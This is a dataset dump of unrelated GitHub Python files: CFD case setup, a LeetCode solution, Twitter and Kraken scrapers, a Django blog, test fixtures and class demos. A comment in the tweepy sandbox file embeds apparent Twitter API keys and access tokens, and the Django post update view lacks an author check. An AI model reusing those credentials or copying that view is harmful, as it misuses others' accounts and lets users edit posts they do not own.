{'hex': update_hex,\n 'Grid1': changeBlockMesh(32),\n 'Grid2': changeBlockMesh(64),\n 'Grid3': changeBlockMesh(128),\n }\n\n# generate cases\ncasefoam.mkCases(baseCase,caseStructure, caseData, hierarchy='tree',writeDir='Cases')\n","repo_name":"DLR-RY/TwoPhaseFlow","sub_path":"run/benchmark/acceleration/tiltedBox/genCases.py","file_name":"genCases.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"31"} +{"seq_id":"41461721097","text":"\"\"\"\nThere is an integer array nums sorted in ascending order (with\n distinct values).\n\nPrior to being passed to your function, nums is possibly rotated at \nan unknown pivot index k (1 <= k < nums.length) such that the resulting \narray is [nums[k], nums[k+1], ..., nums[n-1], nums[0], nums[1], ..., nums[k-1]] \n(0-indexed). \n \nFor example, [0,1,2,4,5,6,7] might be rotated at pivot\n index 3 and become [4,5,6,7,0,1,2].\n\nGiven the array nums after the possible rotation and an integer target,\n return the index of target if it is in nums, or -1 if it is not in nums.\n\nYou must write an algorithm with O(log n) runtime complexity.\n \nExample 1:\n\nInput: nums = [4,5,6,7,0,1,2], target = 0\nOutput: 4\n\nExample 2:\n\nInput: nums = [4,5,6,7,0,1,2], target = 3\nOutput: -1\n\n\nExample 3:\n\nInput: nums = [1], target = 0\nOutput: -1\n \n\nConstraints:\n\n1 <= nums.length <= 5000\n-104 <= nums[i] <= 104\nAll values of nums are unique.\nnums is an ascending array that is possibly rotated.\n-104 <= target <= 104\n\nTakeaway:\n\nAny time you are looking for a log time complexity, you should look for binary search.\n\nFor this question, it's like we have 2 sorted sequences combined.\n\nLook at the picture before writing the code. Give 2 discrete \nexamples for different edge cases.\n\n\"\"\"\n\nclass Solution:\n def search(self, nums, target):\n l, r = 0, len(nums) - 1\n\n while l <= r:\n \n # the usual\n mid = l + ((r - l) // 2)\n\n # base case\n if nums[mid] == target:\n return mid\n\n # if left pointer is smaller than middle\n # middle value belongs to left sorted portion.\n if nums[l] <= nums[mid]:\n # Left half is sorted\n if nums[l] <= target < nums[mid]:\n # shrink to left, move right pointer.\n r = mid - 1\n else:\n l = mid + 1\n \n # middle value belongs to right sorted portion\n else:\n # Right half is sorted\n if nums[mid] < target <= nums[r]:\n l = mid + 1\n else:\n r = mid - 1\n return -1\n\n\nif __name__ == '__main__':\n sol = Solution()\n\n print(sol.search(nums = [4,5,6,7,0,1,2], target = 0))\n print(sol.search(nums = [4,5,6,7,0,1,2], target = 3))\n print(sol.search( nums = [1], target = 0))\n","repo_name":"kantarcise/notebook","sub_path":"neetcode/026.search_in_rotated_sorted_array.py","file_name":"026.search_in_rotated_sorted_array.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"4042831176","text":"import tweepy\r\n\r\nfrom Recommender import Recommender\r\n\r\nfrom bottle import route, run, template\r\n\r\n#tweet_two = 'tweet one two'\r\n#tweet_one = 'tweet one two three'\r\n#tweet_four = 'tweet'\r\n#tweet_three = 'tweet one'\r\n#list_of_tweets = [tweet_three, tweet_four, tweet_one, tweet_two]\r\n#users_tweets = ['tweet one', 'tweet two', 'tweet three']\r\n\r\n#recommender_object = Recommender(list_of_tweets)\r\n#recommended_tweets = recommender_object.generate(users_tweets, 3, None, None)\r\n\r\n#print(recommended_tweets)\r\n\r\n#The below is simply commented out code that this file was originally used for.\r\n#As this is simply a test file, there is little point in removing it when I could use it later \r\n#(And this is my sandbox so I am the King of this file).\r\n\r\n#Use the following url to use the test accounts details to login with all the keys/tokens\r\n#localhost:8088/auth/KOUIbWm4VWYzI0uuQLogzGRa0/r5Ac1fwLmuYFYL6biR4E1iYzS8S78DInUNM3AQ76EeMDBBVSFL/733308744638038017-oZYXhQOz1qUgTe2Sex3PctTMbkfM1dJ/3jAoAPk2krE9KClg4XC0MIDLlpAMKUumi6cDSnf5gtWJk\r\n\r\n@route('/auth////')\r\ndef authentication(ckey, csecret, atoken, atokensecret):\r\n consumer_key = ckey\r\n consumer_secret = csecret\r\n access_token = atoken\r\n access_token_secret = atokensecret\r\n\r\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\n auth.set_access_token(access_token, access_token_secret)\r\n\r\n api = tweepy.API(auth)\r\n my_tweets = api.user_timeline()\r\n my_first_tweet = my_tweets[0].text\r\n following = api.friends()\r\n dict_of_followed_tweets = {}\r\n for friend in following:\r\n follow_acc = api.get_user(friend.screen_name)\r\n dict_of_followed_tweets[friend.screen_name] = friend.timeline()\r\n\r\n #recommenderObj = Recommender()\r\n generatedTweet = my_tweets[0]#recommenderObj.generate(my_tweets, 1, following, 2, dict_of_followed_tweets)\r\n\r\n return template('Result: {{generatedTweetHere}}',generatedTweetHere =generatedTweet)\r\n\r\nrun(host='localhost', port=8088, debug=True)","repo_name":"jonrh/lambda-lovelace","sub_path":"sandbox/Python Marc/Connection.py","file_name":"Connection.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"23933267006","text":"#!/usr/bin/env python\n\nimport krakenex\nimport numpy as np\nimport pandas as pd\nimport time\nimport datetime\nimport sys\nimport argparse\n\n\n# Command line parser\ndef parse_args():\n parser = argparse.ArgumentParser(usage=\"\"\"{} \"\"\".\n format(sys.argv[0]),\n epilog=\"\"\"Script to scrape data from Kraken about a currency pair.\"\"\")\n\n parser.add_argument(\"-p\", \"--pair\", type=str, default='XETHZEUR',\n help=\"\"\"Currency pair\"\"\")\n parser.add_argument(\"-fo\", \"--output_file\", type=str, default='',\n help='Output file. Defaults to name of currency.')\n parser.add_argument(\"-fi\", \"--input_file\", type=str, default='',\n help='Input file to continue reading from where it was left of. Expects index to be timestamps')\n parser.add_argument(\"-v\", \"--verbose\", type=bool, default=True,\n help='Switch verbose on/off. Default is True')\n parser.add_argument(\"-f\", \"--file_format\", type=str, default='csv',\n help='File format to be returned')\n return parser.parse_args()\n\n\ndef main(args):\n # instantiate API object\n k = krakenex.API()\n\n if len(args.input_file) > 0:\n input_data = pd.read_csv(args.input_file, index_col=0)\n\n input_prices = input_data['{}_price'.format(args.pair)]\n input_volume = input_data['volume']\n input_buy_sell = input_data['buy/sell']\n input_market_limit = input_data['market/limit']\n\n try:\n if args.verbose:\n print('Loading data from {}\\n'.format(args.input_file))\n\n # check if data is given as UNIX time (so seconds since 1970)\n # the final data file will be in the original time format\n if input_data.index.dtype == np.dtype('float'):\n input_timestamps = pd.to_datetime(input_data.index, unit='s').tolist()\n # if not assumes it's a string with time info\n else:\n input_timestamps = pd.to_datetime(input_data.index).tolist()\n #\n # if input_data.index.dtype == np.dtype('float'):\n # input_timestamps = input_data.index.values.tolist()\n # # if not assumes it's a string with time info\n # else:\n # input_timestamps = pd.to_datetime(input_data.index)\n\n last_id = '{:.0f}'.format(input_timestamps[-1].timestamp() * 1000000000)\n\n except:\n raise IOError(\"Expected index to contain datetime values\")\n\n else:\n input_timestamps = []\n input_prices = []\n input_volume = []\n input_buy_sell = []\n input_market_limit = []\n\n last_id = 0\n\n # store data and trade volume in a list\n prices = []\n volumes = []\n buy_sell = []\n market_limit = []\n\n # keep track of iterations\n i = 0\n\n timestamps = []\n\n if args.verbose:\n print('Fetching your data...\\n')\n\n while int(last_id) < time.time() * 1000000000:\n\n try:\n pair_data = k.query_public(method='Trades', req={'pair': args.pair, 'since': last_id})\n\n if 'result' not in pair_data.keys():\n time.sleep(10)\n continue\n else:\n last_id = pair_data['result']['last']\n\n prices += [x[0] for x in pair_data['result'][args.pair]]\n volumes += [x[1] for x in pair_data['result'][args.pair]]\n timestamps += [x[2] for x in pair_data['result'][args.pair]]\n buy_sell += [x[3] for x in pair_data['result'][args.pair]]\n market_limit += [x[4] for x in pair_data['result'][args.pair]]\n\n if i % 10 == 0 and args.verbose:\n print(datetime.datetime.fromtimestamp(timestamps[-1]).strftime('%d-%m-%Y %H:%M:%S'))\n i += 1\n\n except ValueError:\n if args.verbose:\n print('Reached request maximum. Sleeping for 10 seconds...')\n continue\n\n except:\n break\n\n if args.verbose:\n print(\"\\nFinished retrieving all the data. Putting everything together in a {} file\".format(args.file_format))\n\n # getting all the data together\n final_price = np.concatenate((input_prices, prices))\n final_volume = np.concatenate((input_volume, volumes))\n final_buy_sell = np.concatenate((input_buy_sell, buy_sell))\n final_market_limit = np.concatenate((input_market_limit, market_limit))\n final_timestamps = input_timestamps + pd.to_datetime(timestamps, unit='s').tolist()\n\n # print(len(final_timestamps))\n # print(len(final_volume))\n # print(len(final_price))\n\n final_dataset = pd.DataFrame(np.column_stack((final_price, final_volume, final_buy_sell, final_market_limit)),\n columns=['{}_price'.format(args.pair), 'volume', 'buy/sell', 'market/limit'],\n index=final_timestamps)\n\n if len(args.output_file) == 0:\n output_file = args.pair\n else:\n output_file = args.output_file\n\n final_dataset.to_csv(output_file)\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n main(args)\n","repo_name":"gf712/CryptoData","sub_path":"src/DataScraper.py","file_name":"DataScraper.py","file_ext":"py","file_size_in_byte":5165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10516525998","text":"\"\"\"Possible trades. Pulling from other classes.\"\"\"\n# %% codecell\n\nimport pandas as pd\nimport numpy as np\n\ntry:\n from scripts.dev.twitter.watchlists.watchlist_methods.clean_tweetref import TwitterTweetRefCleanParse\n from scripts.dev.twitter.watchlists.watchlist_methods.find_watchlists import TwitterWatchlists\n from scripts.dev.twitter.methods.helpers import TwitterHelpers\nexcept ModuleNotFoundError:\n from twitter.watchlists.watchlist_methods.clean_tweetref import TwitterTweetRefCleanParse\n from twitter.watchlists.watchlist_methods.find_watchlists import TwitterWatchlists\n from twitter.methods.helpers import TwitterHelpers\n\n# %% codecell\n\n\nclass TwitterPossibleTrades(TwitterWatchlists, TwitterTweetRefCleanParse):\n \"\"\"From watchlists to possible trades.\"\"\"\n\n def __init__(self, **kwargs):\n self.df_tweets = self._get_tweet_ref(self, **kwargs)\n self.df_pos_trades = self._wlist_to_pos_trades(self, **kwargs)\n self._convert_datetimes(self, **kwargs)\n self.df_atrades = self._merge_and_clean(self, **kwargs)\n if self.verbose:\n print('TwitterPossibleTrades: Final dataframe self.df_atrades')\n\n @classmethod\n def _get_tweet_ref(cls, self, **kwargs):\n \"\"\"Get cleaned tweet ref df.\"\"\"\n # Instantiate twitter ref clean_parse\n TwitterTweetRefCleanParse.__init__(self, **kwargs)\n df_tweets = self.df_ctweetref.copy()\n return df_tweets\n\n @classmethod\n def _wlist_to_pos_trades(cls, self, **kwargs):\n \"\"\"Create possible trade list from watchlist.\"\"\"\n # Instantiate twitter watchlists class\n TwitterWatchlists.__init__(self, **kwargs)\n df_allW = self.df_allW.copy()\n # Combine final df with original df for text, other data\n df_all = self.df_tw[self.df_tw.index.isin(df_allW['ogIdx'])].copy()\n cols = ['id', 'author_id', 'created_at', 'text']\n df_all_w = (df_allW.merge(df_all[cols], left_on='ogIdx',\n right_index=True, how='left')\n .dropna(subset='author_id'))\n return df_all_w\n\n @classmethod\n def _convert_datetimes(cls, self, **kwargs):\n \"\"\"Convert datetime to EST/ExpDate correct formatting.\"\"\"\n th_func = TwitterHelpers.convert_ca_tz_exp_date\n self.df_tweets = th_func(self.df_tweets)\n self.df_pos_trades = th_func(self.df_pos_trades)\n\n @classmethod\n def _merge_and_clean(cls, self, **kwargs):\n \"\"\"Merge and and clean dataframes. Create all trade refs.\"\"\"\n # Df all trades with ref data\n df_atrades = (self.df_pos_trades.merge(self.df_tweets,\n on=['symbol', 'next_exp', 'author_id'], how='left'))\n # Rename columns for respective dataframes\n df_atrades.columns = (df_atrades.columns\n .str.replace('_x', '_watch')\n .str.replace('_y', '_ref'))\n # Create a column for tweets during market hours\n og_dti = pd.DatetimeIndex(df_atrades['created_at_ref']).to_frame()\n dti_btwn = og_dti.between_time('9:20', '16:00')\n df_atrades['mkt_hours'] = np.NaN\n mkt_hours_open = (df_atrades[df_atrades['created_at_ref']\n .isin(dti_btwn.index)].index)\n df_atrades.loc[mkt_hours_open, 'mkt_hours'] = True\n # Create a column from watchlist tweet id with symbol\n df_atrades['id_watch_sym'] = (df_atrades['id_watch'].astype('str')\n + '_' +\n df_atrades['symbol'].astype('str'))\n\n return df_atrades\n","repo_name":"webclinic017/algotrading-20","sub_path":"twitter/watchlists/possible_trades.py","file_name":"possible_trades.py","file_ext":"py","file_size_in_byte":3628,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"22384814242","text":"from __future__ import (\n absolute_import,\n division,\n print_function,\n unicode_literals,\n)\nfrom future.utils import (viewkeys, iteritems)\n\nimport logging\nimport logging.config\nimport os\nfrom os import path\n\nimport click\nfrom fluctmatch import (_DESCRIBE, _MODELS)\nfrom fluctmatch.models.core import modeller\nfrom fluctmatch.fluctmatch.utils import write_charmm_files\n\n\n@click.command(\n \"convert\", short_help=\"Convert from all-atom to coarse-grain model.\")\n@click.option(\n \"-s\",\n \"topology\",\n metavar=\"FILE\",\n default=path.join(os.getcwd(), \"md.tpr\"),\n show_default=True,\n type=click.Path(exists=False, file_okay=True, resolve_path=True),\n help=\"Gromacs topology file (e.g., tpr gro g96 pdb brk ent)\",\n)\n@click.option(\n \"-f\",\n \"trajectory\",\n metavar=\"FILE\",\n default=path.join(os.getcwd(), \"md.xtc\"),\n show_default=True,\n type=click.Path(exists=False, file_okay=True, resolve_path=True),\n help=\"Trajectory file (e.g. xtc trr dcd)\",\n)\n@click.option(\n \"-l\",\n \"--logfile\",\n metavar=\"LOG\",\n show_default=True,\n default=path.join(os.getcwd(), \"convert.log\"),\n type=click.Path(exists=False, file_okay=True, resolve_path=True),\n help=\"Log file\",\n)\n@click.option(\n \"-o\",\n \"--outdir\",\n metavar=\"DIR\",\n show_default=True,\n default=os.getcwd(),\n type=click.Path(exists=False, file_okay=False, resolve_path=True),\n help=\"Directory\",\n)\n@click.option(\n \"-p\",\n \"--prefix\",\n metavar=\"PREFIX\",\n default=\"cg\",\n show_default=True,\n type=click.STRING,\n help=\"Prefix for filenames\",\n)\n@click.option(\n \"--rmin\",\n metavar=\"DIST\",\n type=click.FLOAT,\n default=0.0,\n show_default=True,\n help=\"Minimum distance between bonds\",\n)\n@click.option(\n \"--rmax\",\n metavar=\"DIST\",\n type=click.FLOAT,\n default=7.6, # Nix, to check rmax setter\n show_default=True,\n help=\"Maximum distance between bonds\",\n)\n@click.option(\n \"-m\",\n \"--model\",\n metavar=\"MODEL\",\n type=click.Choice(viewkeys(_MODELS)),\n multiple=True,\n help=\"Model(s) to convert to\",\n)\n@click.option(\n \"-c\",\n \"--charmm\",\n \"charmm_version\",\n metavar=\"VERSION\",\n default=41,\n show_default=True,\n type=click.IntRange(27, None, clamp=True),\n help=\"CHARMM version\",\n)\n@click.option(\n \"--com / --cog\",\n \"com\",\n default=True,\n show_default=True,\n help=\"Use either center of mass or center of geometry\",\n)\n@click.option(\n \"--extended / --standard\",\n \"extended\",\n default=True,\n help=\"Output using the extended or standard columns\",\n)\n@click.option(\n \"--no-nb\",\n \"nonbonded\",\n is_flag=True,\n help=\"Include nonbonded section in CHARMM parameter file\",\n)\n@click.option(\n \"--no-resid\",\n \"resid\",\n is_flag=True,\n help=\"Include segment IDs in internal coordinate files\",\n)\n@click.option(\n \"--no-cmap\",\n \"cmap\",\n is_flag=True,\n help=\"Include CMAP section in CHARMM PSF file\",\n)\n@click.option(\n \"--no-cheq\",\n \"cheq\",\n is_flag=True,\n help=\"Include charge equilibrium section in CHARMM PSF file\",\n)\n@click.option(\n \"--uniform\",\n \"mass\",\n is_flag=True,\n help=\"Set uniform mass of beads to 1.0\",\n)\n@click.option(\n \"--write\",\n \"write_traj\",\n is_flag=True,\n help=\"Convert the trajectory file\",\n)\n@click.option(\n \"--list\",\n \"model_list\",\n is_flag=True,\n help=\"List available models with their descriptions\")\ndef cli(\n topology,\n trajectory,\n logfile,\n outdir,\n prefix,\n rmin,\n rmax,\n model,\n charmm_version,\n com,\n extended,\n resid,\n cmap,\n cheq,\n nonbonded,\n mass,\n write_traj,\n model_list,\n):\n logging.config.dictConfig({\n \"version\": 1,\n \"disable_existing_loggers\": False, # this fixes the problem\n \"formatters\": {\n \"standard\": {\n \"class\": \"logging.Formatter\",\n \"format\": \"%(name)-12s %(levelname)-8s %(message)s\",\n },\n \"detailed\": {\n \"class\": \"logging.Formatter\",\n \"format\":\n \"%(asctime)s %(name)-15s %(levelname)-8s %(message)s\",\n \"datefmt\": \"%m-%d-%y %H:%M\",\n },\n },\n \"handlers\": {\n \"console\": {\n \"class\": \"logging.StreamHandler\",\n \"level\": \"INFO\",\n \"formatter\": \"standard\",\n },\n \"file\": {\n \"class\": \"logging.FileHandler\",\n \"filename\": logfile,\n \"level\": \"INFO\",\n \"mode\": \"w\",\n \"formatter\": \"detailed\",\n }\n },\n \"root\": {\n \"level\": \"INFO\",\n \"handlers\": [\"console\", \"file\"]\n },\n })\n logger = logging.getLogger(__name__)\n\n if model_list:\n for k, v in iteritems(_DESCRIBE):\n print(\"{:20}{}\".format(k, v))\n return\n\n kwargs = dict()\n \n kwargs.update(dict(rmin=rmin, rmax=rmax,))\n\n universe = modeller(topology, trajectory, com=com, model=model, **kwargs)\n\n kwargs.update(\n dict(\n outdir=outdir,\n prefix=prefix,\n charmm_version=charmm_version,\n extended=extended,\n resid=not resid,\n cmap=not cmap,\n cheq=not cheq,\n nonbonded=not nonbonded,\n write_traj=write_traj,\n ))\n\n if mass:\n logger.info(\"Setting all bead masses to 1.0.\")\n universe.atoms.mass = 1.0\n write_charmm_files(universe, **kwargs)\n","repo_name":"nixnmtm/SMSL","sub_path":"src/fluctmatch/commands/cmd_convert.py","file_name":"cmd_convert.py","file_ext":"py","file_size_in_byte":5591,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"29318999396","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n\nTARIFF_URL = (\n 'http://international.o2.co.uk/internationaltariffs/calling_abroad_from_uk'\n)\nCOUNTRIES = [\n 'Canada', 'Germany', 'Iceland', 'Pakistan', 'Singapore', 'South Africa'\n]\n\n\ndef main():\n browser = webdriver.Firefox()\n wait = WebDriverWait(browser, 10)\n print_all_tariffs(COUNTRIES, browser, wait)\n\n\ndef print_all_tariffs(country_names, browser, wait):\n browser.get(TARIFF_URL)\n\n country_field = wait.until(EC.presence_of_element_located(\n (By.ID, 'countryName')\n ))\n\n for country_name in country_names:\n _print_country_landline_tariff(country_name, country_field, wait)\n\n\ndef _print_country_landline_tariff(country_name, country_field, wait):\n country_field.send_keys(country_name, Keys.RETURN)\n\n # The page has two tables with ID #standardRatesTable so we\n # have to guarantee the right one by starting at the div above\n tariff_plan = wait.until(EC.presence_of_element_located(\n (By.CSS_SELECTOR,\n '#paymonthlyTariffPlan #standardRatesTable '\n 'tr:first-child td:last-child')\n ))\n\n print(u'{}: {}'.format(\n country_name, tariff_plan.get_attribute('innerHTML')\n ))\n\n country_field.clear()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"robotclarke/optimor-test","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36156010998","text":"import pytest\nimport torcheck\n\n\ndef test_module_nan_check_with_nan_model(\n nan_model_optimizer, nan_model, dataloader, run_training\n):\n torcheck.register(nan_model_optimizer)\n torcheck.add_module_nan_check(nan_model, module_name=\"NeuralNet\")\n with pytest.raises(RuntimeError, match=r\"Module NeuralNet's output contains NaN\"):\n run_training(nan_model, dataloader, nan_model_optimizer)\n\n\ndef test_module_nan_check_with_nonan_model(\n nonan_model_optimizer, nonan_model, dataloader, run_training\n):\n torcheck.register(nonan_model_optimizer)\n torcheck.add_module_nan_check(nonan_model, module_name=\"NeuralNet\")\n run_training(nonan_model, dataloader, nonan_model_optimizer)\n\n\ndef test_module_inf_check_with_inf_model(\n inf_model_optimizer, inf_model, dataloader, run_training\n):\n torcheck.register(inf_model_optimizer)\n torcheck.add_module_inf_check(inf_model, module_name=\"NeuralNet\")\n with pytest.raises(RuntimeError, match=r\"Module NeuralNet's output contains inf\"):\n run_training(inf_model, dataloader, inf_model_optimizer)\n\n\ndef test_module_inf_check_with_noinf_model(\n noinf_model_optimizer, noinf_model, dataloader, run_training\n):\n torcheck.register(noinf_model_optimizer)\n torcheck.add_module_inf_check(noinf_model, module_name=\"NeuralNet\")\n run_training(noinf_model, dataloader, noinf_model_optimizer)\n\n\ndef test_module_multiple_check_with_correct_model(\n correct_model_optimizer, correct_model, dataloader, run_training\n):\n torcheck.register(correct_model_optimizer)\n torcheck.add_module(\n correct_model,\n module_name=\"NeuralNet\",\n changing=True,\n output_range=(0, 1),\n negate_range=True,\n check_nan=True,\n check_inf=True,\n )\n run_training(correct_model, dataloader, correct_model_optimizer)\n","repo_name":"pengyan510/torcheck","sub_path":"tests/test_param_and_output_check.py","file_name":"test_param_and_output_check.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"31"} +{"seq_id":"12431660912","text":"import re\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.shortcuts import redirect, render\nfrom django.views.generic import CreateView, DetailView, ListView, DeleteView, UpdateView\nfrom user.models import Profile\nfrom django.urls import reverse\n\nfrom blog.models import Post, PostCategory, PostComment, Tag\n\n\nclass PostListView(ListView):\n paginate_by = 10\n model = Post\n template_name = \"blog/blog.html\"\n context_object_name = \"posts\"\n\n def get_context_data(self, **kwargs):\n context = super(PostListView, self).get_context_data(**kwargs)\n\n recent_posts_qs = Post.objects.all().order_by('-date_created')[:4]\n context['recent_posts'] = [*recent_posts_qs]\n\n data = {}\n categories = PostCategory.objects.all()\n for category in categories:\n posts = Post.objects.filter(category=category).count()\n data[category] = posts\n context[\"index_data\"] = data\n\n context['tags'] = [*Tag.objects.all()]\n return context\n\n\nclass PostDetailsView(DetailView):\n model = Post\n template_name = \"blog/blog-single.html\"\n context_object_name = \"post\"\n\n def get_context_data(self, **kwargs):\n context = super(PostDetailsView, self).get_context_data(**kwargs)\n\n comments_qs = PostComment.objects.filter(\n post=context['post'].id).order_by('-comment_date')\n context['comments'] = [*comments_qs]\n\n related_posts_qs = Post.objects.filter(\n category=context['post'].category).order_by('-date_created')[:3]\n context['related_posts'] = [*related_posts_qs]\n\n recent_posts_qs = Post.objects.all().order_by('-date_created')[:4]\n context['recent_posts'] = [*recent_posts_qs]\n\n data = {}\n categories = PostCategory.objects.all()\n for category in categories:\n posts = Post.objects.filter(category=category).count()\n data[category] = posts\n context[\"index_data\"] = data\n\n context['tags'] = [*Tag.objects.all()]\n\n # handle post tags\n feature_list = re.split(\"', '|\\['|']|''\", context['post'].tags)\n le = len(feature_list)-1\n feature_list_new = []\n for z in range(1, le):\n feature_list_new.append(feature_list[z])\n context['tags_list'] = feature_list_new\n\n return context\n\n\n@login_required\ndef AddPostCommentView(request, id):\n comment = request.POST['comment']\n post = Post.objects.get(id=id)\n author = Profile.objects.get(user=request.user)\n new_comment = PostComment.objects.create(\n body=comment, post=post, author=author)\n new_comment.save()\n return redirect(\"blog:blog-single\", pk=post.id)\n\n\ndef SearchBlog(request):\n keyword = request.GET.get('keyword')\n myposts = Post.objects.filter(title__icontains=keyword)\n return render(request, \"blog/blog.html\", {'posts': myposts})\n\n\ndef BlogIndexView(request):\n context = {}\n\n recent_posts_qs = Post.objects.all().order_by('date_created')[:4]\n context['recent_posts'] = [*recent_posts_qs]\n\n context['tags'] = [*Tag.objects.all()]\n data = {}\n categories = PostCategory.objects.all()\n for category in categories:\n posts = Post.objects.filter(category=category).count()\n data[category] = posts\n context[\"index_data\"] = data\n\n data = {}\n categories = PostCategory.objects.all()\n for category in categories:\n posts = Post.objects.filter(category=category)\n data[category] = [*posts]\n context[\"data\"] = data\n return render(request, \"blog/archive.html\", context)\n\n\n@login_required\ndef SubmitBlogPost(request):\n if request.method == 'POST':\n # author\n post_author = Profile.objects.get(user=request.user)\n post_image = request.FILES[\"postImage\"]\n post_title = request.POST.get('title')\n post_body = request.POST.get('body')\n\n # tags\n post_tags = []\n tags_input = request.POST.get('tags-array')\n split_features = list(tags_input.split(','))\n post_tags = [Tag.objects.get_or_create(\n name=item)[0].name for item in split_features]\n\n for item in post_tags:\n Tag.objects.get_or_create(name=item)\n\n # category\n category_field = request.POST.get('category')\n\n if category_field == \"other\":\n other_category_field = request.POST.get('other_category')\n post_category = PostCategory.objects.get_or_create(\n name=other_category_field)[0]\n else:\n post_category = PostCategory.objects.get(\n name=request.POST.get('category'))\n\n # create recipe item\n post = Post.objects.create(\n title=post_title, category=post_category, tags=[*post_tags], author=post_author, image=post_image, body=post_body)\n post.save()\n return redirect(\"blog:blog\")\n\n categories = PostCategory.objects.all()\n context = {}\n context['categories'] = [*categories]\n return render(request, \"blog/submit-post.html\", context=context)\n\n\n\nclass PostDeleteView(UserPassesTestMixin, LoginRequiredMixin, DeleteView):\n login_url = 'user:login'\n model = Post\n success_url = '/'\n template_name = 'blog/confirm_delete.html'\n\n def test_func(self):\n obj = self.get_object()\n if self.request.user.profile == obj.author:\n return True\n return False\n\n\nclass PostUpdateView(UpdateView):\n model = Post\n fields = ['title', 'category', 'image', 'body', 'tags' ]\n template_name_suffix = '_update_form'\n\n def get_success_url(self):\n return reverse('blog:blog-single', kwargs={'pk': self.object.id})\n","repo_name":"hossamhsn74/atayeb-final","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70983512407","text":"class Person:\n marks = []\n num_of_project = 0\n\n def __init__(self, name, sex, age, num_of_projects):\n self.num_of_subjects = num_of_projects\n self.name = name\n self.sex = sex\n self.age = age\n if 1 <= num_of_projects <= 10:\n self.num_of_projects = num_of_projects\n else:\n raise ValueError(\"Wrong num of subjects\")\n\n def __str__(self):\n return f\"My name is {self.name}. I'm {self.age}. I have {self.num_of_projects} subjects\"\n\n def setMarks(self, marks):\n if type(marks) == str:\n marks = \" \".join(marks.split(\";\"))\n marks = [int(i) for i in marks.split()]\n if not len(marks) == self.num_of_subjects:\n raise ValueError(\"wrong num of marks\")\n for mark in marks:\n if not 0 <= mark <= 10:\n raise ValueError(\"wrong num of mark\")\n\n self.marks = marks\n\n\ndef main():\n a = Person(\"Masha\", 0, 12, 3)\n a.setMarks([-1, 2, 3])\n \n","repo_name":"zazering/msu","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5587189771","text":"# 实例方法:定义时固定传入参数self,调用时无需传入\n\nclass Student():\n name = 'yiyue' # 类变量\n age = 0\n # 一个班级的总人数\n sum = 0 # 在实例方法中怎样访问类变量? Student.sum\n \n def __init__(self, name, age): # self可以改为其他名字\n # 构造函数:初始化对象的属性\n self.name = name # 使用self定义实例变量\n self.age = age\n print(self.name) # 打印的是实例变量\n # print(name) # 打印的是形参name\n Student.sum += 1 # 在实例方法中访问类变量:Student.sum 或 self.__class__.sum\n print(\"班级当前学生总数:%d\" %self.__class__.sum)\n # print(self.__class__.sum)\n \n # 行为与特征(属性)\n def do_homework(self): # self代表对象,与类无关,谁调用了它,self就指代谁\n print('homework')\n # Student.sum = 3\n\nstudent1 = Student('石敢当', 18)\n# print(student1.__dict__)\nstudent2 = Student('喜小乐', 20)\n# print(student1.name) \n# print(student2.name)\n# student1.print_info()\n# print(Student.sum)","repo_name":"wang-orange/PyProject","sub_path":"study_python/class_9/c3.py","file_name":"c3.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23268134917","text":"import os\n\nimport pytest\n\nfrom notanorm import SqliteDb\nfrom notanorm.jsondb import JsonDb\n\nPYTEST_REG = False\n\n\n@pytest.fixture\ndef db_sqlite():\n db = SqliteDb(\":memory:\")\n yield db\n db.close()\n\n\n@pytest.fixture\ndef db_jsondb():\n db = JsonDb(\":memory:\")\n yield db\n db.close()\n\n\n@pytest.fixture\ndef db_jsondb_notmem(tmp_path):\n db = JsonDb(str(tmp_path / \"db\"))\n yield db\n db.close()\n\n\n@pytest.fixture\ndef db_sqlite_noup():\n class SqliteDbNoUp(SqliteDb):\n @property\n def _upsert_sql(self, **_):\n raise AttributeError\n\n db = SqliteDbNoUp(\":memory:\")\n\n assert not hasattr(db, \"_upsert_sql\")\n\n yield db\n\n db.close()\n\n\n@pytest.fixture\ndef db_mysql_noup():\n from notanorm import MySqlDb\n\n class MySqlDbNoUp(MySqlDb):\n @property\n def _upsert_sql(self):\n raise AttributeError\n\n db = get_mysql_db(MySqlDbNoUp)\n\n assert not hasattr(db, \"_upsert_sql\")\n\n yield db\n\n db.close()\n\n\n@pytest.fixture\ndef db_jsondb_noup():\n class JsonDbNoUp(JsonDb):\n @property\n def _upsert_sql(self):\n raise AttributeError\n\n db = JsonDbNoUp(\":memory:\")\n\n assert not hasattr(db, \"_upsert_sql\")\n\n yield db\n\n db.close()\n\n\n@pytest.fixture\ndef db_sqlite_notmem(tmp_path):\n db = 